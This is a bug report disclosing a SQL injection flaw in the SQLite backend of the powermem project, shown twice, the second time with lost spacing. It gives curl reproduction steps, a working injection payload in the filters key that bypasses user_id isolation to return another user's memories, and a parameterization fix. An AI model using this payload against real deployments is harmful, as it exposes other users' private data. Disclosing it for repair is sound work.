Title: [Bug]: SQLite filters key SQL injection bypasses user_id filter (CWE-89)
Describe the bug:
When using the SQLite backend, the filters object accepted by the search/list/count paths is used to build SQL using string interpolation for the JSON path:
json_extract(payload, '$.{key}') = ?
Only the value is parameterized; the key is directly interpolated into the SQL string. A malicious client can craft a filters key that closes the string/paren, injects an OR condition, and comments out the remaining predicates. This can bypass the intended user_id/agent_id/run_id isolation and return other users' rows.
Affected code (SQLite):
src/powermem/storage/sqlite/sqlite_vector_store.py (search, list, count, get_statistics)
Environment (Please provide the version number or commit id of this project.):
- Project:
oceanbase/powermem
- Affected commit (origin/main at time of report):
349ab66d92931809065009c771e976a26ba913ce
- Fix available in my fork/branch:
WSL0809/powermem@fix/sqlite-jsonpath-parameterize (commit 477c2f96587f8fdd8bb9e1b631673723761e0147)
Fast reproduce steps:
*
Steps to reproduce the behavior.
- Start API server locally (SQLite backend, auth disabled). Example:
uv sync
POWERMEM_SERVER_AUTH_ENABLED=false \
POWERMEM_SERVER_RATE_LIMIT_ENABLED=false \
DATABASE_PROVIDER=sqlite \
LLM_PROVIDER=ollama \
EMBEDDING_PROVIDER=mock \
uv run powermem-server --host 127.0.0.1 --port 18000 --workers 1
- Create 2 memories under different users (note:
infer=false):
curl -sS -X POST http://127.0.0.1:18000/api/v1/memories \
-H 'Content-Type: application/json' \
-d '{"content":"ALICE_SECRET","user_id":"alice","run_id":"123","infer":false}'
curl -sS -X POST http://127.0.0.1:18000/api/v1/memories \
-H 'Content-Type: application/json' \
-d '{"content":"BOB_SECRET","user_id":"bob","run_id":"123","infer":false}'
- Baseline search as
alice (should NOT return bob):
curl -sS -X POST http://127.0.0.1:18000/api/v1/memories/search \
-H 'Content-Type: application/json' \
-d '{"query":"poc","user_id":"alice","run_id":"123","limit":50}'
- Exploit: inject via
filters key (should still only return alice, but currently can return bob):
curl -sS -X POST http://127.0.0.1:18000/api/v1/memories/search \
-H 'Content-Type: application/json' \
-d '{"query":"poc","user_id":"alice","run_id":"123","filters":{"x') OR (?=? AND ?) -- ":"alice"},"limit":50}'
Expected behavior:
- Search results filtered by
user_id=alice should never include bob’s memory.
Actual behavior:
- The exploit request can return both
ALICE_SECRET and BOB_SECRET (bypassing the intended filter).
Suggested fix:
- Parameterize the JSON path too:
- Use
json_extract(payload, ?) = ? and bind the path (e.g. $."user_id"), instead of interpolating '$.' + key into the SQL string.
Title: [Bug]: SQLite filters key SQL injection bypasses user_id filter (CWE-89)
Describe the bug:
When using the SQLite backend, the
filtersobject accepted by the search/list/count paths is used to build SQL using string interpolation for the JSON path:json_extract(payload, '$.{key}') = ?Only the value is parameterized; the key is directly interpolated into the SQL string. A malicious client can craft a
filterskey that closes the string/paren, injects anORcondition, and comments out the remaining predicates. This can bypass the intendeduser_id/agent_id/run_idisolation and return other users' rows.Affected code (SQLite):
src/powermem/storage/sqlite/sqlite_vector_store.py(search,list,count,get_statistics)Environment (Please provide the version number or commit id of this project.):
oceanbase/powermem349ab66d92931809065009c771e976a26ba913ceWSL0809/powermem@fix/sqlite-jsonpath-parameterize(commit477c2f96587f8fdd8bb9e1b631673723761e0147)Fast reproduce steps:
*
Steps to reproduce the behavior.
infer=false):alice(should NOT return bob):filterskey (should still only return alice, but currently can return bob):Expected behavior:
user_id=aliceshould never include bob’s memory.Actual behavior:
ALICE_SECRETandBOB_SECRET(bypassing the intended filter).Suggested fix:
json_extract(payload, ?) = ?and bind the path (e.g.$."user_id"), instead of interpolating'$.' + keyinto the SQL string.